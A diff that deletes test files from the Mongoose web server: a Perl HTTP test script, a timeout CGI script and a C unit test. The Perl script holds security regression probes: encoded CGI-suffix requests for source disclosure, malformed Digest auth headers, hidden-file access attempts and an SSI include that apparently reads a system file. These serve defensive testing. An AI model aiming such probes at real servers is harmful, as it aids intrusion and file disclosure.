-  css => 'text/css',
-  jpg => 'image/jpeg',
-  c => 'text/plain',
-  'tar.gz' => 'blah',
-  bar => 'foo/bar',
-  baz => 'foo',
-};
-
-foreach my $key (keys %$mime_types) {
-  my $filename = "_mime_file_test.$key";
-  write_file("$root/$filename", '');
-  o("GET /$filename HTTP/1.0\n\n",
-    "Content-Type: $mime_types->{$key}", ".$key mime type");
-  unlink "$root/$filename";
-}
-
-# Get binary file and check the integrity
-my $binary_file = 'binary_file';
-my $f2 = '';
-foreach (0..123456) { $f2 .= chr(int(rand() * 255)); }
-write_file("$root/$binary_file", $f2);
-my $f1 = req("GET /$binary_file HTTP/1.0\r\n\n");
-while ($f1 =~ /^.*\r\n/) { $f1 =~ s/^.*\r\n// }
-$f1 eq $f2 or fail("Integrity check for downloaded binary file");
-
-my $range_request = "GET /hello.txt HTTP/1.1\nConnection: close\n".
-"Range: bytes=3-5\r\n\r\n";
-o($range_request, '206 Partial Content', 'Range: 206 status code');
-o($range_request, 'Content-Length: 3\s', 'Range: Content-Length');
-o($range_request, 'Content-Range: bytes 3-5/17', 'Range: Content-Range');
-o($range_request, '\nple$', 'Range: body content');
-
-# Test directory sorting. Sleep between file creation for 1.1 seconds,
-# to make sure modification time are different.
-mkdir "$test_dir/sort";
-write_file("$test_dir/sort/11", 'xx');
-select undef, undef, undef, 1.1;
-write_file("$test_dir/sort/aa", 'xxxx');
-select undef, undef, undef, 1.1;
-write_file("$test_dir/sort/bb", 'xxx');
-select undef, undef, undef, 1.1;
-write_file("$test_dir/sort/22", 'x');
-
-o("GET /$test_dir_uri/sort/?n HTTP/1.0\n\n",
-  '200 OK.+>11<.+>22<.+>aa<.+>bb<',
-  'Directory listing (name, ascending)');
-o("GET /$test_dir_uri/sort/?nd HTTP/1.0\n\n",
-  '200 OK.+>bb<.+>aa<.+>22<.+>11<',
-  'Directory listing (name, descending)');
-o("GET /$test_dir_uri/sort/?s HTTP/1.0\n\n",
-  '200 OK.+>22<.+>11<.+>bb<.+>aa<',
-  'Directory listing (size, ascending)');
-o("GET /$test_dir_uri/sort/?sd HTTP/1.0\n\n",
-  '200 OK.+>aa<.+>bb<.+>11<.+>22<',
-  'Directory listing (size, descending)');
-o("GET /$test_dir_uri/sort/?d HTTP/1.0\n\n",
-  '200 OK.+>11<.+>aa<.+>bb<.+>22<',
-  'Directory listing (modification time, ascending)');
-o("GET /$test_dir_uri/sort/?dd HTTP/1.0\n\n",
-  '200 OK.+>22<.+>bb<.+>aa<.+>11<',
-  'Directory listing (modification time, descending)');
-
-unless (scalar(@ARGV) > 0 and $ARGV[0] eq "basic_tests") {
-  # Check that .htpasswd file existence trigger authorization
-  write_file("$root/.htpasswd", 'user with space, " and comma:mydomain.com:5deda12442309cbdcdffc6b2737a894f');
-  o("GET /hello.txt HTTP/1.1\n\n", '401 Unauthorized',
-    '.htpasswd - triggering auth on file request');
-  o("GET / HTTP/1.1\n\n", '401 Unauthorized',
-    '.htpasswd - triggering auth on directory request');
-
-  # Test various funky things in an authentication header.
-  o("GET /hello.txt HTTP/1.0\nAuthorization: Digest   eq== empty=\"\", empty2=, quoted=\"blah foo bar, baz\\\"\\\" more\\\"\", unterminatedquoted=\" doesn't stop\n\n",
-    '401 Unauthorized', 'weird auth values should not cause crashes');
-  my $auth_header = "Digest username=\"user with space, \\\" and comma\", ".
-    "realm=\"mydomain.com\", nonce=\"1291376417\", uri=\"/\",".
-    "response=\"e8dec0c2a1a0c8a7e9a97b4b5ea6a6e6\", qop=auth, nc=00000001, cnonce=\"1a49b53a47a66e82\"";
-  o("GET /hello.txt HTTP/1.0\nAuthorization: $auth_header\n\n", 'HTTP/1.1 200 OK', 'GET regular file with auth');
-  o("GET / HTTP/1.0\nAuthorization: $auth_header\n\n", '^(.(?!(.htpasswd)))*$',
-    '.htpasswd is hidden from the directory list');
-  o("GET / HTTP/1.0\nAuthorization: $auth_header\n\n", '^(.(?!(exploit.pl)))*$',
-    'hidden file is hidden from the directory list');
-  o("GET /.htpasswd HTTP/1.0\nAuthorization: $auth_header\n\n",
-    '^HTTP/1.1 404 ', '.htpasswd must not be shown');
-  o("GET /exploit.pl HTTP/1.0\nAuthorization: $auth_header\n\n",
-    '^HTTP/1.1 404', 'hidden files must not be shown');
-  unlink "$root/.htpasswd";
-
-
-  o("GET /dir%20with%20spaces/hello.cgi HTTP/1.0\n\r\n",
-      'HTTP/1.1 200 OK.+hello', 'CGI script with spaces in path');
-  o("GET /env.cgi HTTP/1.0\n\r\n", 'HTTP/1.1 200 OK', 'GET CGI file');
-  o("GET /bad2.cgi HTTP/1.0\n\n", "HTTP/1.1 123 Please pass me to the client\r",
-    'CGI Status code text');
-  o("GET /sh.cgi HTTP/1.0\n\r\n", 'shell script CGI',
-    'GET sh CGI file') unless on_windows();
-  o("GET /env.cgi?var=HELLO HTTP/1.0\n\n", 'QUERY_STRING=var=HELLO',
-    'QUERY_STRING wrong');
-  o("POST /env.cgi HTTP/1.0\r\nContent-Length: 9\r\n\r\nvar=HELLO",
-    'var=HELLO', 'CGI POST wrong');
-  o("POST /env.cgi HTTP/1.0\r\nContent-Length: 9\r\n\r\nvar=HELLO",
-    '\x0aCONTENT_LENGTH=9', 'Content-Length not being passed to CGI');
-  o("GET /env.cgi HTTP/1.0\nMy-HdR: abc\n\r\n",
-    'HTTP_MY_HDR=abc', 'HTTP_* env');
-  o("GET /env.cgi HTTP/1.0\n\r\nSOME_TRAILING_DATA_HERE",
-    'HTTP/1.1 200 OK', 'GET CGI with trailing data');
-
-  o("GET /env.cgi%20 HTTP/1.0\n\r\n",
-    'HTTP/1.1 404', 'CGI Win32 code disclosure (%20)');
-  o("GET /env.cgi%ff HTTP/1.0\n\r\n",
-    'HTTP/1.1 404', 'CGI Win32 code disclosure (%ff)');
-  o("GET /env.cgi%2e HTTP/1.0\n\r\n",
-    'HTTP/1.1 404', 'CGI Win32 code disclosure (%2e)');
-  o("GET /env.cgi%2b HTTP/1.0\n\r\n",
-    'HTTP/1.1 404', 'CGI Win32 code disclosure (%2b)');
-  o("GET /env.cgi HTTP/1.0\n\r\n", '\nHTTPS=off\n', 'CGI HTTPS');
-  o("GET /env.cgi HTTP/1.0\n\r\n", '\nCGI_FOO=foo\n', '-cgi_env 1');
-  o("GET /env.cgi HTTP/1.0\n\r\n", '\nCGI_BAR=bar\n', '-cgi_env 2');
-  o("GET /env.cgi HTTP/1.0\n\r\n", '\nCGI_BAZ=baz\n', '-cgi_env 3');
-  o("GET /env.cgi/a/b/98 HTTP/1.0\n\r\n", 'PATH_INFO=/a/b/98\n', 'PATH_INFO');
-  o("GET /env.cgi/a/b/9 HTTP/1.0\n\r\n", 'PATH_INFO=/a/b/9\n', 'PATH_INFO');
-  o("GET /env.cgi/foo/bar?a=b HTTP/1.0\n\n",
-    'SCRIPT_NAME=/env.cgi\s', 'SCRIPT_NAME for CGI with PATH_INFO');
-
-  # Check that CGI's current directory is set to script's directory
-  my $copy_cmd = on_windows() ? 'copy' : 'cp';
-  system("$copy_cmd $root" . $dir_separator .  "env.cgi $test_dir" .
-    $dir_separator . 'env.cgi');
-  o("GET /$test_dir_uri/env.cgi HTTP/1.0\n\n",
-    "CURRENT_DIR=.*$root/$test_dir_uri", "CGI chdir()");
-
-  # SSI tests
-  o("GET /ssi1.shtml HTTP/1.0\n\n",
-    'ssi_begin.+CFLAGS.+ssi_end', 'SSI #include file=');
-  o("GET /ssi2.shtml HTTP/1.0\n\n",
-    'ssi_begin.+Unit test.+ssi_end', 'SSI #include virtual=');
-  my $ssi_exec = on_windows() ? 'ssi4.shtml' : 'ssi3.shtml';
-  o("GET /$ssi_exec HTTP/1.0\n\n",
-    'ssi_begin.+Makefile.+ssi_end', 'SSI #exec');
-  my $abs_path = on_windows() ? 'ssi6.shtml' : 'ssi5.shtml';
-  my $word = on_windows() ? 'boot loader' : 'root';
-  o("GET /$abs_path HTTP/1.0\n\n",
-    "ssi_begin.+$word.+ssi_end", 'SSI #include abspath');
-  o("GET /ssi7.shtml HTTP/1.0\n\n",
-    'ssi_begin.+Unit test.+ssi_end', 'SSI #include "..."');
-  o("GET /ssi8.shtml HTTP/1.0\n\n",
-    'ssi_begin.+CFLAGS.+ssi_end', 'SSI nested #includes');
-
-  # Manipulate the passwords file
-  my $path = 'test_htpasswd';
-  unlink $path;
-  system("$mongoose_exe -A $path a b c") == 0
-    or fail("Cannot add user in a passwd file");
-  system("$mongoose_exe -A $path a b c2") == 0
-    or fail("Cannot edit user in a passwd file");
-  my $content = read_file($path);
-  $content =~ /^b:a:\w+$/gs or fail("Bad content of the passwd file");
-  unlink $path;
-
-  do_PUT_test();
-  kill_spawned_child();
-  do_unit_test();
-}
-
-sub do_PUT_test {
-  # This only works because mongoose currently doesn't look at the nonce.
-  # It should really be rejected...
-  my $auth_header = "Authorization: Digest  username=guest, ".
-  "realm=mydomain.com, nonce=1145872809, uri=/put.txt, ".
-  "response=896327350763836180c61d87578037d9, qop=auth, ".
-  "nc=00000002, cnonce=53eddd3be4e26a98\n";
-
-  o("PUT /a/put.txt HTTP/1.0\nContent-Length: 7\n$auth_header\n1234567",
-    "HTTP/1.1 201 OK", 'PUT file, status 201');
-  fail("PUT content mismatch")
-  unless read_file("$root/a/put.txt") eq '1234567';
-  o("PUT /a/put.txt HTTP/1.0\nContent-Length: 4\n$auth_header\nabcd",
-    "HTTP/1.1 200 OK", 'PUT file, status 200');
-  fail("PUT content mismatch")
-  unless read_file("$root/a/put.txt") eq 'abcd';
-  o("PUT /a/put.txt HTTP/1.0\n$auth_header\nabcd",
-    "HTTP/1.1 411 Length Required", 'PUT 411 error');
-  o("PUT /a/put.txt HTTP/1.0\nExpect: blah\nContent-Length: 1\n".
-    "$auth_header\nabcd",
-    "HTTP/1.1 417 Expectation Failed", 'PUT 417 error');
-  o("PUT /a/put.txt HTTP/1.0\nExpect: 100-continue\nContent-Length: 4\n".
-    "$auth_header\nabcd",
-    "HTTP/1.1 100 Continue.+HTTP/1.1 200", 'PUT 100-Continue');
-}
-
-sub do_unit_test {
-  my $target = on_windows() ? 'wi' : 'un';
-  system("make $target") == 0 or fail("Unit test failed!");
-}
-
-print "SUCCESS! All tests passed.\n";

test/timeout.cgi

@@ -1,12 +0,0 @@
-#!/usr/bin/env perl
-
-# Make stdout unbuffered
-use FileHandle;
-STDOUT->autoflush(1);
-
-# This script outputs some content, then sleeps for 5 seconds, then exits.
-# Web server should return the content immediately after it is sent,
-# not waiting until the script exits.
-print "Content-Type: text/html\r\n\r\n";
-print "Some data";
-sleep 3;

test/unit_test.c

@@ -1,787 +0,0 @@
-// Copyright (c) 2004-2013 Sergey Lyubka
-//
-// Permission is hereby granted, free of charge, to any person obtaining a copy
-// of this software and associated documentation files (the "Software"), to deal
-// in the Software without restriction, including without limitation the rights
-// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-// copies of the Software, and to permit persons to whom the Software is
-// furnished to do so, subject to the following conditions:
-//
-// The above copyright notice and this permission notice shall be included in
-// all copies or substantial portions of the Software.
-//
-// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
-// THE SOFTWARE.
-//
-// Unit test for the mongoose web server. Tests embedded API.
-
-#define USE_WEBSOCKET
-#define USE_LUA
-
-#ifndef _WIN32
-#define __cdecl
-#define USE_IPV6
-#endif
-
-// USE_* definitions must be made before #include "mongoose.c" !
-
-#include "mongoose.c"
-
-static int s_total_tests = 0;
-static int s_failed_tests = 0;
-
-#define FAIL(str, line) do {                     \
-  printf("Fail on line %d: [%s]\n", line, str);   \
-  s_failed_tests++; \
-} while (0)
-
-#define ASSERT(expr) do { \
-  s_total_tests++; \
-  if (!(expr)) FAIL(#expr, __LINE__); \
-} while (0)
-
-#define HTTP_PORT "56789"
-#define HTTPS_PORT "56790"
-#define HTTP_PORT2 "56791"
-#define LISTENING_ADDR          \
-  "127.0.0.1:" HTTP_PORT "r"    \
-  ",127.0.0.1:" HTTPS_PORT "s"  \
-  ",127.0.0.1:" HTTP_PORT2
-
-static void test_parse_http_message() {
-  struct mg_request_info ri;
-  char req1[] = "GET / HTTP/1.1\r\n\r\n";
-  char req2[] = "BLAH / HTTP/1.1\r\n\r\n";
-  char req3[] = "GET / HTTP/1.1\r\nBah\r\n";
-  char req4[] = "GET / HTTP/1.1\r\nA: foo bar\r\nB: bar\r\nbaz\r\n\r\n";
-  char req5[] = "GET / HTTP/1.1\r\n\r\n";
-  char req6[] = "G";
-  char req7[] = " blah ";
-  char req8[] = " HTTP/1.1 200 OK \n\n";
-  char req9[] = "HTTP/1.1 200 OK\r\nConnection: close\r\n\r\n";
-
-  ASSERT(parse_http_message(req9, sizeof(req9), &ri) == sizeof(req9) - 1);
-  ASSERT(ri.num_headers == 1);
-
-  ASSERT(parse_http_message(req1, sizeof(req1), &ri) == sizeof(req1) - 1);
-  ASSERT(strcmp(ri.http_version, "1.1") == 0);
-  ASSERT(ri.num_headers == 0);
-
-  ASSERT(parse_http_message(req2, sizeof(req2), &ri) == -1);
-  ASSERT(parse_http_message(req3, sizeof(req3), &ri) == 0);
-  ASSERT(parse_http_message(req6, sizeof(req6), &ri) == 0);
-  ASSERT(parse_http_message(req7, sizeof(req7), &ri) == 0);
-  ASSERT(parse_http_message("", 0, &ri) == 0);
-  ASSERT(parse_http_message(req8, sizeof(req8), &ri) == sizeof(req8) - 1);
-
-  // TODO(lsm): Fix this. Header value may span multiple lines.
-  ASSERT(parse_http_message(req4, sizeof(req4), &ri) == sizeof(req4) - 1);
-  ASSERT(strcmp(ri.http_version, "1.1") == 0);
-  ASSERT(ri.num_headers == 3);
-  ASSERT(strcmp(ri.http_headers[0].name, "A") == 0);
-  ASSERT(strcmp(ri.http_headers[0].value, "foo bar") == 0);
-  ASSERT(strcmp(ri.http_headers[1].name, "B") == 0);
-  ASSERT(strcmp(ri.http_headers[1].value, "bar") == 0);
-  ASSERT(strcmp(ri.http_headers[2].name, "baz\r\n\r") == 0);
-  ASSERT(strcmp(ri.http_headers[2].value, "") == 0);
-
-  ASSERT(parse_http_message(req5, sizeof(req5), &ri) == sizeof(req5) - 1);
-  ASSERT(strcmp(ri.request_method, "GET") == 0);
-  ASSERT(strcmp(ri.http_version, "1.1") == 0);
-}
-
-static void test_should_keep_alive(void) {
-  struct mg_connection conn;
-  struct mg_context ctx;
-  char req1[] = "GET / HTTP/1.1\r\n\r\n";
-  char req2[] = "GET / HTTP/1.0\r\n\r\n";
-  char req3[] = "GET / HTTP/1.1\r\nConnection: close\r\n\r\n";
-  char req4[] = "GET / HTTP/1.1\r\nConnection: keep-alive\r\n\r\n";
-
-  memset(&conn, 0, sizeof(conn));
-  conn.ctx = &ctx;
-  ASSERT(parse_http_message(req1, sizeof(req1), &conn.request_info) ==
-         sizeof(req1) - 1);
-
-  ctx.config[ENABLE_KEEP_ALIVE] = "no";
-  ASSERT(should_keep_alive(&conn) == 0);
-
-  ctx.config[ENABLE_KEEP_ALIVE] = "yes";
-  ASSERT(should_keep_alive(&conn) == 1);
-
-  conn.must_close = 1;
-  ASSERT(should_keep_alive(&conn) == 0);
-
-  conn.must_close = 0;
-  parse_http_message(req2, sizeof(req2), &conn.request_info);
-  ASSERT(should_keep_alive(&conn) == 0);
-
-  parse_http_message(req3, sizeof(req3), &conn.request_info);
-  ASSERT(should_keep_alive(&conn) == 0);
-
-  parse_http_message(req4, sizeof(req4), &conn.request_info);
-  ASSERT(should_keep_alive(&conn) == 1);
-
-  conn.status_code = 401;
-  ASSERT(should_keep_alive(&conn) == 0);
-
-  conn.status_code = 200;
-  conn.must_close = 1;
-  ASSERT(should_keep_alive(&conn) == 0);
-}
-
-static void test_match_prefix(void) {
-  ASSERT(match_prefix("/api", 4, "/api") == 4);
-  ASSERT(match_prefix("/a/", 3, "/a/b/c") == 3);
-  ASSERT(match_prefix("/a/", 3, "/ab/c") == -1);
-  ASSERT(match_prefix("/*/", 3, "/ab/c") == 4);
-  ASSERT(match_prefix("**", 2, "/a/b/c") == 6);
-  ASSERT(match_prefix("/*", 2, "/a/b/c") == 2);
-  ASSERT(match_prefix("*/*", 3, "/a/b/c") == 2);
-  ASSERT(match_prefix("**/", 3, "/a/b/c") == 5);
-  ASSERT(match_prefix("**.foo|**.bar", 13, "a.bar") == 5);
-  ASSERT(match_prefix("a|b|cd", 6, "cdef") == 2);
-  ASSERT(match_prefix("a|b|c?", 6, "cdef") == 2);
-  ASSERT(match_prefix("a|?|cd", 6, "cdef") == 1);
-  ASSERT(match_prefix("/a/**.cgi", 9, "/foo/bar/x.cgi") == -1);
-  ASSERT(match_prefix("/a/**.cgi", 9, "/a/bar/x.cgi") == 12);
-  ASSERT(match_prefix("**/", 3, "/a/b/c") == 5);
-  ASSERT(match_prefix("**/$", 4, "/a/b/c") == -1);
-  ASSERT(match_prefix("**/$", 4, "/a/b/") == 5);
-  ASSERT(match_prefix("$", 1, "") == 0);
-  ASSERT(match_prefix("$", 1, "x") == -1);
-  ASSERT(match_prefix("*$", 2, "x") == 1);
-  ASSERT(match_prefix("/$", 2, "/") == 1);
-  ASSERT(match_prefix("**/$", 4, "/a/b/c") == -1);
-  ASSERT(match_prefix("**/$", 4, "/a/b/") == 5);
-  ASSERT(match_prefix("*", 1, "/hello/") == 0);
-  ASSERT(match_prefix("**.a$|**.b$", 11, "/a/b.b/") == -1);
-  ASSERT(match_prefix("**.a$|**.b$", 11, "/a/b.b") == 6);
-  ASSERT(match_prefix("**.a$|**.b$", 11, "/a/B.A") == 6);
-  ASSERT(match_prefix("**o$", 4, "HELLO") == 5);
-}
-
-static void test_remove_double_dots() {
-  struct { char before[20], after[20]; } data[] = {
-    {"////a", "/a"},
-    {"/.....", "/."},
-    {"/......", "/"},
-    {"...", "..."},
-    {"/...///", "/./"},
-    {"/a...///", "/a.../"},
-    {"/.x", "/.x"},
-    {"/\\", "/"},
-    {"/a\\", "/a\\"},
-    {"/a\\\\...", "/a\\."},
-  };
-  size_t i;
-
-  for (i = 0; i < ARRAY_SIZE(data); i++) {
-    remove_double_dots_and_double_slashes(data[i].before);
-    ASSERT(strcmp(data[i].before, data[i].after) == 0);
-  }
-}
-
-static char *read_file(const char *path, int *size) {
-  FILE *fp;
-  struct stat st;
-  char *data = NULL;
-  if ((fp = fopen(path, "rb")) != NULL && !fstat(fileno(fp), &st)) {
-    *size = (int) st.st_size;
-    ASSERT((data = malloc(*size)) != NULL);
-    ASSERT(fread(data, 1, *size, fp) == (size_t) *size);
-    fclose(fp);
-  }
-  return data;
-}
-
-static const char *fetch_data = "hello world!\n";
-static const char *inmemory_file_data = "hi there";
-static const char *upload_filename = "upload_test.txt";
-static const char *upload_filename2 = "upload_test2.txt";
-static const char *upload_ok_message = "upload successful";
-
-static const char *open_file_cb(const struct mg_connection *conn,
-                                const char *path, size_t *size) {
-  (void) conn;
-  if (!strcmp(path, "./blah")) {
-    *size = strlen(inmemory_file_data);
-    return inmemory_file_data;
-  }
-  return NULL;
-}
-
-static void upload_cb(struct mg_connection *conn, const char *path) {
-  const struct mg_request_info *ri = mg_get_request_info(conn);
-  char *p1, *p2;
-  int len1, len2;
-
-  if (atoi(ri->query_string) == 1) {
-    ASSERT(!strcmp(path, "./upload_test.txt"));
-    ASSERT((p1 = read_file("main.c", &len1)) != NULL);
-    ASSERT((p2 = read_file(path, &len2)) != NULL);
-    ASSERT(len1 == len2);
-    ASSERT(memcmp(p1, p2, len1) == 0);
-    free(p1), free(p2);
-    remove(upload_filename);
-  } else if (atoi(ri->query_string) == 2) {
-    if (!strcmp(path, "./upload_test.txt")) {
-      ASSERT((p1 = read_file("lua_5.2.1.h", &len1)) != NULL);
-      ASSERT((p2 = read_file(path, &len2)) != NULL);
-      ASSERT(len1 == len2);
-      ASSERT(memcmp(p1, p2, len1) == 0);
-      free(p1), free(p2);
-      remove(upload_filename);
-    } else if (!strcmp(path, "./upload_test2.txt")) {
-      ASSERT((p1 = read_file("mod_lua.c", &len1)) != NULL);
-      ASSERT((p2 = read_file(path, &len2)) != NULL);
-      ASSERT(len1 == len2);
-      ASSERT(memcmp(p1, p2, len1) == 0);
-      free(p1), free(p2);
-      remove(upload_filename);
-    } else {
-      ASSERT(0);
-    }
-  } else {
-    ASSERT(0);
-  }
-
-  mg_printf(conn, "HTTP/1.0 200 OK\r\nContent-Length: %d\r\n\r\n%s",
-            (int) strlen(upload_ok_message), upload_ok_message);
-}
-
-static int begin_request_handler_cb(struct mg_connection *conn) {
-  const struct mg_request_info *ri = mg_get_request_info(conn);
-
-  if (!strcmp(ri->uri, "/data")) {
-    mg_printf(conn, "HTTP/1.1 200 OK\r\n"
-              "Content-Type: text/plain\r\n\r\n"
-              "%s", fetch_data);
-    close_connection(conn);
-    return 1;
-  }
-
-  if (!strcmp(ri->uri, "/upload")) {
-    ASSERT(ri->query_string != NULL);
-    ASSERT(mg_upload(conn, ".") == atoi(ri->query_string));
-  }
-
-  return 0;
-}
-
-static int log_message_cb(const struct mg_connection *conn, const char *msg) {
-  (void) conn;
-  printf("%s\n", msg);
-  return 0;
-}
-
-static const struct mg_callbacks CALLBACKS = {
-  &begin_request_handler_cb, NULL, &log_message_cb, NULL, NULL, NULL, NULL,
-  &open_file_cb, NULL, &upload_cb, NULL, NULL
-};
-
-static const char *OPTIONS[] = {
-  "document_root", ".",
-  "listening_ports", LISTENING_ADDR,
-  "enable_keep_alive", "yes",
-  "ssl_certificate", "ssl_cert.pem",
-  NULL,
-};
-
-static char *read_conn(struct mg_connection *conn, int *size) {
-  char buf[100], *data = NULL;
-  int len;
-  *size = 0;
-  while ((len = mg_read(conn, buf, sizeof(buf))) > 0) {
-    *size += len;
-    ASSERT((data = realloc(data, *size)) != NULL);
-    memcpy(data + *size - len, buf, len);
-  }
-  return data;
-}
-
-static void test_mg_download(void) {
-  char *p1, *p2, ebuf[100];
-  int len1, len2, port = atoi(HTTPS_PORT);
-  struct mg_connection *conn;
-  struct mg_context *ctx;
-
-  ASSERT((ctx = mg_start(&CALLBACKS, NULL, OPTIONS)) != NULL);
-
-  ASSERT(mg_download(NULL, port, 0, ebuf, sizeof(ebuf), "%s", "") == NULL);
-  ASSERT(mg_download("localhost", 0, 0, ebuf, sizeof(ebuf), "%s", "") == NULL);
-  ASSERT(mg_download("localhost", port, 1, ebuf, sizeof(ebuf),
-                     "%s", "") == NULL);
-
-  // Fetch nonexistent file, should see 404
-  ASSERT((conn = mg_download("localhost", port, 1, ebuf, sizeof(ebuf), "%s",
-                             "GET /gimbec HTTP/1.0\r\n\r\n")) != NULL);
-  ASSERT(strcmp(conn->request_info.uri, "404") == 0);
-  mg_close_connection(conn);
-
-  ASSERT((conn = mg_download("google.com", 443, 1, ebuf, sizeof(ebuf), "%s",
-                             "GET / HTTP/1.0\r\n\r\n")) != NULL);
-  mg_close_connection(conn);
-
-  // Fetch main.c, should succeed
-  ASSERT((conn = mg_download("localhost", port, 1, ebuf, sizeof(ebuf), "%s",
-                             "GET /main.c HTTP/1.0\r\n\r\n")) != NULL);
-  ASSERT(!strcmp(conn->request_info.uri, "200"));
-  ASSERT((p1 = read_conn(conn, &len1)) != NULL);
-  ASSERT((p2 = read_file("main.c", &len2)) != NULL);
-  ASSERT(len1 == len2);
-  ASSERT(memcmp(p1, p2, len1) == 0);
-  free(p1), free(p2);
-  mg_close_connection(conn);
-
-
-  // Fetch in-memory file, should succeed.
-  ASSERT((conn = mg_download("localhost", port, 1, ebuf, sizeof(ebuf), "%s",
-                             "GET /blah HTTP/1.1\r\n\r\n")) != NULL);
-  ASSERT((p1 = read_conn(conn, &len1)) != NULL);
-  ASSERT(len1 == (int) strlen(inmemory_file_data));
-  ASSERT(memcmp(p1, inmemory_file_data, len1) == 0);
-  free(p1);
-  mg_close_connection(conn);
-
-  // Fetch in-memory data with no Content-Length, should succeed.
-  ASSERT((conn = mg_download("localhost", port, 1, ebuf, sizeof(ebuf), "%s",
-                             "GET /data HTTP/1.1\r\n\r\n")) != NULL);
-  ASSERT((p1 = read_conn(conn, &len1)) != NULL);
-  ASSERT(len1 == (int) strlen(fetch_data));
-  ASSERT(memcmp(p1, fetch_data, len1) == 0);
-  free(p1);
-  mg_close_connection(conn);
-
-  // Test SSL redirect, IP address
-  ASSERT((conn = mg_download("localhost", atoi(HTTP_PORT), 0,
-                             ebuf, sizeof(ebuf), "%s",
-                             "GET /foo HTTP/1.1\r\n\r\n")) != NULL);
-  ASSERT(strcmp(conn->request_info.uri, "302") == 0);
-  ASSERT(strcmp(mg_get_header(conn, "Location"),
-                "https://127.0.0.1:" HTTPS_PORT "/foo") == 0);
-  mg_close_connection(conn);
-
-  // Test SSL redirect, Host:
-  ASSERT((conn = mg_download("localhost", atoi(HTTP_PORT), 0,
-                             ebuf, sizeof(ebuf), "%s",
-                             "GET /foo HTTP/1.1\r\nHost: a.b:77\n\n")) != NULL);
-  ASSERT(strcmp(conn->request_info.uri, "302") == 0);
-  ASSERT(strcmp(mg_get_header(conn, "Location"),
-                "https://a.b:" HTTPS_PORT "/foo") == 0);
-  mg_close_connection(conn);
-
-  mg_stop(ctx);
-}
-
-static int alloc_printf(char **buf, size_t size, char *fmt, ...) {
-  va_list ap;
-  va_start(ap, fmt);
-  return alloc_vprintf(buf, size, fmt, ap);
-}
-
-static void test_mg_upload(void) {
-  static const char *boundary = "OOO___MY_BOUNDARY___OOO";
-  struct mg_context *ctx;
-  struct mg_connection *conn;
-  char ebuf[100], buf[20], *file_data, *file2_data, *post_data;
-  int file_len, file2_len, post_data_len;
-
-  ASSERT((ctx = mg_start(&CALLBACKS, NULL, OPTIONS)) != NULL);
-
-  // Upload one file
-  ASSERT((file_data = read_file("main.c", &file_len)) != NULL);
-  post_data = NULL;
-  post_data_len = alloc_printf(&post_data, 0,
-                                       "--%s\r\n"
-                                       "Content-Disposition: form-data; "
-                                       "name=\"file\"; "
-                                       "filename=\"%s\"\r\n\r\n"
-                                       "%.*s\r\n"
-                                       "--%s--\r\n",
-                                       boundary, upload_filename,
-                                       file_len, file_data, boundary);
-  ASSERT(post_data_len > 0);
-  ASSERT((conn = mg_download("localhost", atoi(HTTPS_PORT), 1,
-                             ebuf, sizeof(ebuf),
-                             "POST /upload?1 HTTP/1.1\r\n"
-                             "Content-Length: %d\r\n"
-                             "Content-Type: multipart/form-data; "
-                             "boundary=%s\r\n\r\n"
-                             "%.*s", post_data_len, boundary,
-                             post_data_len, post_data)) != NULL);
-  free(file_data), free(post_data);
-  ASSERT(mg_read(conn, buf, sizeof(buf)) == (int) strlen(upload_ok_message));
-  ASSERT(memcmp(buf, upload_ok_message, strlen(upload_ok_message)) == 0);
-  mg_close_connection(conn);
-
-  // Upload two files
-  ASSERT((file_data = read_file("lua_5.2.1.h", &file_len)) != NULL);
-  ASSERT((file2_data = read_file("mod_lua.c", &file2_len)) != NULL);
-  post_data = NULL;
-  post_data_len = alloc_printf(&post_data, 0,
-                               // First file
-                               "--%s\r\n"
-                               "Content-Disposition: form-data; "
-                               "name=\"file\"; "
-                               "filename=\"%s\"\r\n\r\n"
-                               "%.*s\r\n"
-
-                               // Second file
-                               "--%s\r\n"
-                               "Content-Disposition: form-data; "
-                               "name=\"file\"; "
-                               "filename=\"%s\"\r\n\r\n"
-                               "%.*s\r\n"
-
-                               // Final boundary
-                               "--%s--\r\n",
-                               boundary, upload_filename,
-                               file_len, file_data,
-                               boundary, upload_filename2,
-                               file2_len, file2_data,
-                               boundary);
-  ASSERT(post_data_len > 0);
-  ASSERT((conn = mg_download("localhost", atoi(HTTPS_PORT), 1,
-                             ebuf, sizeof(ebuf),
-                             "POST /upload?2 HTTP/1.1\r\n"
-                             "Content-Length: %d\r\n"
-                             "Content-Type: multipart/form-data; "
-                             "boundary=%s\r\n\r\n"
-                             "%.*s", post_data_len, boundary,
-                             post_data_len, post_data)) != NULL);
-  free(file_data), free(file2_data), free(post_data);
-  ASSERT(mg_read(conn, buf, sizeof(buf)) == (int) strlen(upload_ok_message));
-  ASSERT(memcmp(buf, upload_ok_message, strlen(upload_ok_message)) == 0);
-  mg_close_connection(conn);
-
-  mg_stop(ctx);
-}
-
-static void test_base64_encode(void) {
-  const char *in[] = {"a", "ab", "abc", "abcd", NULL};
-  const char *out[] = {"YQ==", "YWI=", "YWJj", "YWJjZA=="};
-  char buf[100];
-  int i;
-
-  for (i = 0; in[i] != NULL; i++) {
-    base64_encode((unsigned char *) in[i], strlen(in[i]), buf);
-    ASSERT(!strcmp(buf, out[i]));
-  }
-}
-
-static void test_mg_get_var(void) {
-  static const char *post[] = {
-    "a=1&&b=2&d&=&c=3%20&e=",
-    "q=&st=2012%2F11%2F13+17%3A05&et=&team_id=",
-    NULL
-  };
-  char buf[20];
-
-  ASSERT(mg_get_var(post[0], strlen(post[0]), "a", buf, sizeof(buf)) == 1);
-  ASSERT(buf[0] == '1' && buf[1] == '\0');
-  ASSERT(mg_get_var(post[0], strlen(post[0]), "b", buf, sizeof(buf)) == 1);
-  ASSERT(buf[0] == '2' && buf[1] == '\0');
-  ASSERT(mg_get_var(post[0], strlen(post[0]), "c", buf, sizeof(buf)) == 2);
-  ASSERT(buf[0] == '3' && buf[1] == ' ' && buf[2] == '\0');
